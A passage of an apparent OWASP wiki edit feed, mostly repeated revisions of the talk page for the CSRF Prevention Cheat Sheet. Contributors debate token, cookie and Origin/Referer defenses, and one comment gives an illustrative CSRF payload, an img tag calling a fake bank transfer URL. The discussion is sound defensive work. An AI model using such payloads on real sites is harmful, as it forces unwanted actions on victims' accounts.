Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See &amp;lt;u&amp;gt;[[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]]&amp;lt;/u&amp;gt; for info on CSRF.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Types of Cross-Site Scripting]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]&amp;lt;/u&amp;gt;&amp;lt;!--- tab syntax for internal links including tabs: &amp;lt;link&amp;gt;#&amp;lt;tab-description&amp;gt; ---&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[AntiSamy | OWASP AntiSamy: Sanitization Library]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2013:BottomAdvancedTemplate&lt;br /&gt;
    |type={{Top_10_2010:StyleTemplate}}&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=230133</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=230133"/>
				<updated>2017-05-30T16:57:21Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Origin/Referrer Check doesn't Work When the URL is Entered into the Browser */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header).  This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.  &lt;br /&gt;
&lt;br /&gt;
Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins.  Perhaps, this is what was meant by the phrase &amp;quot;we recommend a second check as an additional precaution to really make sure&amp;quot;?  (The style and the title of the article seems to put the burden of proof on the reader.  The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==&lt;br /&gt;
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)&lt;br /&gt;
&lt;br /&gt;
: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting &amp;quot;backend service&amp;quot; in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)&lt;br /&gt;
&lt;br /&gt;
:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site).  Luring a victim into pasting a link could be considered a less likely scenario.  I guess that would rely on the target site interpreting a GET request or its embedded requests as actions.  In that unlikely scenario I can see that checking the origin and &amp;quot;referer&amp;quot; referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as &amp;lt;img src=&amp;quot;https://bank.test/my/transfer?to=GogAndMagog&amp;quot;&amp;gt;). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=230127</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=230127"/>
				<updated>2017-05-30T14:13:43Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Origin/Referrer Check doesn't Work When the URL is Entered into the Browser */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header).  This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.  &lt;br /&gt;
&lt;br /&gt;
Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins.  Perhaps, this is what was meant by the phrase &amp;quot;we recommend a second check as an additional precaution to really make sure&amp;quot;?  (The style and the title of the article seems to put the burden of proof on the reader.  The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==&lt;br /&gt;
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)&lt;br /&gt;
&lt;br /&gt;
: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting &amp;quot;backend service&amp;quot; in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)&lt;br /&gt;
&lt;br /&gt;
:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site).  Luring a victim into pasting a link could be considered a less likely scenario.  I guess that would rely on the target site interpreting a GET request or its embedded requests as actions.  In that unlikely scenario I can see that checking the origin and &amp;quot;referer&amp;quot; referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as &amp;lt;img src=&amp;quot;https://bank.test/my/transfer?to=GogAndMagog&amp;quot;&amp;gt;). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=230126</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=230126"/>
				<updated>2017-05-30T14:11:38Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Origin/Referrer Check doesn't Work When the URL is Entered into the Browser */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header).  This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.  &lt;br /&gt;
&lt;br /&gt;
Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins.  Perhaps, this is what was meant by the phrase &amp;quot;we recommend a second check as an additional precaution to really make sure&amp;quot;?  (The style and the title of the article seems to put the burden of proof on the reader.  The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==&lt;br /&gt;
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)&lt;br /&gt;
&lt;br /&gt;
: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting &amp;quot;backend service&amp;quot; in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)&lt;br /&gt;
&lt;br /&gt;
:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site).  Luring a victim into pasting a link could be considered a less likely scenario.  I guess that would rely on the target site interpreting a GET request or its embedded requests as actions.  In that unlikely scenario I can see that checking the origin and &amp;quot;referer&amp;quot; referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address, as changing the application on receiving GET requests will make it vulnerable to embedded foreign requests such as &amp;lt;img src=&amp;quot;https://bank.test/my/transfer?to=GogAndMagog&amp;quot;&amp;gt;. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=230125</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=230125"/>
				<updated>2017-05-30T14:11:05Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Origin/Referrer Check doesn't Work When the URL is Entered into the Browser */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header).  This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.  &lt;br /&gt;
&lt;br /&gt;
Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins.  Perhaps, this is what was meant by the phrase &amp;quot;we recommend a second check as an additional precaution to really make sure&amp;quot;?  (The style and the title of the article seems to put the burden of proof on the reader.  The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==&lt;br /&gt;
